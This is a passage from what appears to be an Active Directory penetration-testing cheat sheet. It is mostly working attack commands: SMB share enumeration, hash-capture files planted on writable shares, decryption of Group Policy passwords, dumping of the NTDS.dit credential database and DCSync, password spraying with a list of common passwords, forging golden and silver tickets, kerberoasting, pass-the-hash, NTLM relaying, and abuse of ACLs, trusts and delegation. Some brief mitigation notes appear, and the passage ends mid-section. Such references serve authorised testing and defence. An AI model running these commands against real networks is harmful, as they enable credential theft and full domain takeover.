#### Mitigations

* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780


### Open Shares

```powershell
smbmap -H 10.10.10.10                # null session
smbmap -H 10.10.10.10 -R             # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
```

or 

```powershell
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
ls  # list files
cd  # move inside a folder
get # download files
put # replace a file
```

or 

```powershell
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk      
        SYSVOL          Disk      Logon server share
        Users           Disk
use Sharename # select a Sharename
cd Folder     # move inside a folder
ls            # list files
```

Download a folder recursively

```powershell
smbclient -U username //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Share
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *
```

Mount a share

```powershell
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
sudo mount -t cifs -o username=<user>,password=<pass> //<IP>/Users folder
```

### SCF and URL file attack against writeable share

Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`

```powershell
[Shell]
Command=2
IconFile=\\10.10.XX.XX\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

This attack also works with `.url` files and `responder -I eth0 -v`.

```powershell
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\192.168.1.29\%USERNAME%.icon
IconIndex=1
```


### Passwords in SYSVOL & Group Policy Preferences

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.

```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)

```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

#### Automate the SYSVOL and passwords research

* Metasploit modules to enumerate shares and credentials

    ```c
    scanner/smb/smb_enumshares
    post/windows/gather/enum_shares
    post/windows/gather/credentials/gpp
    ```

* Crackmapexec modules

    ```powershell
    cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
    cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
    ```

List all GPO for a domain

```powershell
Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all

Powersploit:
Get-NetGPO
Get-NetGPOGroup
```

#### Mitigations

* Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
* Delete existing GPP xml files in SYSVOL containing passwords.
* Don’t put passwords in files that are accessible by all authenticated users.

### Exploit Group Policy Objects GPO

> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

### Dumping AD Domain Credentials

You will need the following files to extract the ntds : 
- ntds file (C:\Windows\NTDS\ntds.dit)
- SYSTEM hive (C:\Windows\System32\SYSTEM)

#### Using ndtsutil

```powershell
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

or 

```powershell
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```

#### Using Vshadow

```powershell
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```

You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

```powershell
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```

#### Using vssadmin

```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```

#### Using DiskShadow (a Windows signed binary)

```powershell
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
```

#### Using esentutl.exe

Copy/extract a locked file such as the AD Database

```powershell
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
```

#### Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit

```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

secretsdump also works remotely

```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```

* `-pwd-last-set`: Shows pwdLastSet attribute for each NTDS.DIT account.
* `-user-status`: Display whether or not the user is disabled.

#### Alternatives - modules

Metasploit modules

```c
windows/gather/credentials/domain_hashdump
```

PowerSploit module

```powershell
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
```

CrackMapExec module

```powershell
cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default
```

#### Using Mimikatz DCSync

Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data. 

```powershell
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
```

:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default.

#### Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller.
:warning: Requires administrator access with debug or Local SYSTEM rights

```powershell
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```


### Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. 

> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates. 

Most of the time the best passwords to spray are :

- P@ssw0rd01, Password123, mimikatz
- Welcome1/Welcome01
- $Companyname1 : $Microsoft1
- SeasonYear : Winter2019*,Spring2020!,Summer2018? 
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)

#### Kerberos pre-auth bruteforcing

Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.

> Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

```powershell
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
```

#### Spray a pre-generated passwords list

Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.

```powershell
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
```

#### Spray passwords against the RDP service

Using RDPassSpray to target RDP services.

```powershell
git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```

Using hydra and ncrack to target RDP services.

```powershell
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
```

### Password in AD User comment

```powershell
enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas: 
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
```
or dump the Active Directory and `grep` the content.

```powershell
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```

### Pass-the-Ticket Golden Tickets

Forging a TGT require the krbtgt NTLM hash

> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.

#### Using Mimikatz

```powershell
# Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

#### Using Meterpreter 

```powershell
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

#### Using a ticket on Linux

```powershell
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.

```powershell
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```


Mitigations:
* Hard to detect because they are legit TGT tickets
* Mimikatz generate a golden ticket with a life-span of 10 years

### Pass-the-Ticket Silver Tickets

Forging a TGS require machine accound password (key) or NTLM hash from the KDC

```powershell
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

Mitigations:
* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.

### Kerberoasting

> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)

Any valid domain user can request a kerberos ticket (TGS) for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

```powershell
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$ 
```

Alternatively with [Rubeus](https://github.com/GhostPack/Rubeus)

```powershell
.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
```

Alternatively on macOS machine you can use [bifrost](https://github.com/its-a-feature/bifrost)

```powershell
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
```

Then crack the ticket with hashcat or john

```powershell
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
```

Mitigations: 
* Have a very long password for your accounts with SPNs (> 32 characters)
* Make sure no users have SPNs

### KRB_AS_REP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Prerequisite:
- Accounts have to have **DONT_REQ_PREAUTH**

```powershell
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast

Mitigations: 
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).

### Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

```powershell
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r  
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```

or with crackmapexec

```powershell
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ... 
```

or with psexec

```powershell
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
```

or with the builtin Windows RDP and mimikatz
```powershell
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
```

You can extract the local SAM database to find the local administrator hash :

```powershell
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```


### OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash then you can connect to the machine using the TGT.

#### Using impacket

```powershell
root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

also with the AES Key if you have it
root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com

ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist
```

#### Using Rubeus

```powershell
C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```

### Capturing and cracking NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.

```python
python Responder.py -I eth0
```

Then crack the hash with `hashcat`

```powershell
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

### NTLMv2 hashes relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

| Hash                 | Hashcat | Attack method       |
|---|---|---|
| LM                    | 3000  | crack/pass the hash  |
| NTLM/NTHash           | 1000  | crack/pass the hash  |
| NTLMv1/Net-NTLMv1     | 5500  | crack/relay attack   |
| NTLMv2/Net-NTLMv2     | 5600  | crack/relay attack   |

#### MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

* https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068

```powershell
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```

#### SMB Signing Disabled and IPv4

If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine.

1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
    ```powershell
    [Responder Core]
    ; Servers to start
    ...
    SMB = Off     # Turn this off
    HTTP = Off    # Turn this off
    ```
2. Run `python  RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>` and `python MultiRelay.py -t <target_machine_IP> -u ALL`
4. Also you can use `ntlmrelayx` to dump the SAM database of the targets in the list. 
    ```powershell
    ntlmrelayx.py -tf targets.txt
    ```
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
    ```powershell
    $ ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support
    [*] Servers started, waiting for connections
    Type help for list of commands
    ntlmrelayx> socks

#### SMB Signing Disabled and IPv6

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

```powershell
cme smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials

or 
ntlmrelayx.py -6 -wh $attacker_ip -l /tmp -socks -debug
```

#### Drop the MIC

> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner)

```powershell
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
```

- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
    ```powershell
    TERM1> python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>
    TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
    TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
    ```


- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
    ```powershell
    # create a new machine account
    TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support 
    TERM2> python printerbug.py relaytest.local/testuser@second-dc-server 10.0.2.6
    TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME

    # connect using the ticket

    secretsdump.py -k -no-pass second-dc-server.local -just-dc
    ```

#### Ghost Potato - CVE-2019-1384

Prerequisites:
* User must be a member of the local Administrators group
* User must be a member of the Backup Operators group
* Token must be elevated

Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip

```powershell
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```

### Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object "CN=AdminSDHolder,CN=System," or set "adminCount" attribute to 0 for the required objec

AdminSDHolder

```powershell
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
```

#### AdminSDHolder Abuse
if you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp

```powershell
# right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
# give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
```


### Abusing Active Directory ACLs/ACEs

Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).

```powershell
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
```

#### GenericAll

* **GenericAll on User** : We can reset user's password without knowing the current password
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group : `net group "domain admins" spotless /add /domain`

GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it.

```powershell
# using PowerView
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
 
# Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname
 
# Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
```

#### GenericWrite

* Reset another user's password

    ```powershell
    # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
    $user = 'DOMAIN\user1'; 
    $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
    $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
    $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
    Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
    ```

* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`


#### WriteDACL

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`

```powershell
# Give DCSync right to the principal identity
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
```


### Trust relationship between domains

* One-way
  * Domain B trusts A
  * Users in Domain A can access resources in Domain B
  * Users in Domain B cannot access resources in Domain A
* Two-way
  * Domain A trusts Domain B
  * Domain B trusts Domain A
  * Authentication requests can be passed between the two domains in both directions

#### Enumerate trusts between domains

```powershell
nltest /trusted_domains
```

or

```powershell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional
```

#### Exploit trusts between domains

:warning: Require a Domain-Admin level access to the current domain.

| Source     | Target  | Technique to use  | Trust relationship  |
|---|---|---|---|
| Root      | Child  | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way)  |
| Child     | Child  | SID History exploitation (Mimikatz /sids)                 | Inter Realm Parent-Child (2-way)  |
| Child     | Root   | SID History exploitation (Mimikatz /sids)                 | Inter Realm Tree-Root (2-way)  |
| Forest A  | Forest B  | PrinterBug + Unconstrained delegation ?  | Inter Realm Forest or External (2-way)  |



### Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources.
By default the first domain created if the Forest Root.

Prerequisite: 
- KRBTGT Hash

- Find the SID of the domain
    ```powershell
    $ Convert-NameToSid target.domain.com\krbtgt
    S-1-5-21-2941561648-383941485-1389968811-502

    # with Impacket
    lookupsid.py domain/user:password@10.10.10.10
    ```
- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain. 
    ```powershell
    kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
    ```

### Kerberos Unconstrained Delegation

> The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 

:warning: Unconstrained delegation used to be the only option available in Windows 2000

Domain Compromise via DC Print Server and Unconstrained Delegation

Prerequisites:
- Object with Property "Trust this computer for delegation to any service (Kerberos only)"
- Must have ADS_UF_TRUSTED_FOR_DELEGATION 
- Must not have ADS_UF_NOT_DELEGATED flag

#### Find delegation

Check the `TrustedForDelegation` property.

```powershell
# From https://github.com/samratashok/ADModule
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}

or 

$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10   
grep TRUSTED_FOR_DELEGATION domain_computers.grep
```

NOTE: Domain controllers usually have unconstrained delegation enabled

#### Monitor with Rubeus

Monitor incoming connections from Rubeus.

```powershell
Rubeus.exe monitor /interval:1 
```

#### Force a connect back from the DC

>  SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface 

```powershell
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
```

If the attack worked you should get a TGT of the domain controller.

#### Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

```powershell
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```

Alternatively you could also grab the ticket using Mimikatz :  `mimikatz # sekurlsa::tickets`

Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`


#### Mitigation

* Ensure sensitive accounts cannot be delegated
* Disable the Print Spooler Service

### Kerberos Constrained Delegation

> Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,

Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

```powershell
# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Find the service 
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo

# Exploit with Impacket
$ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10

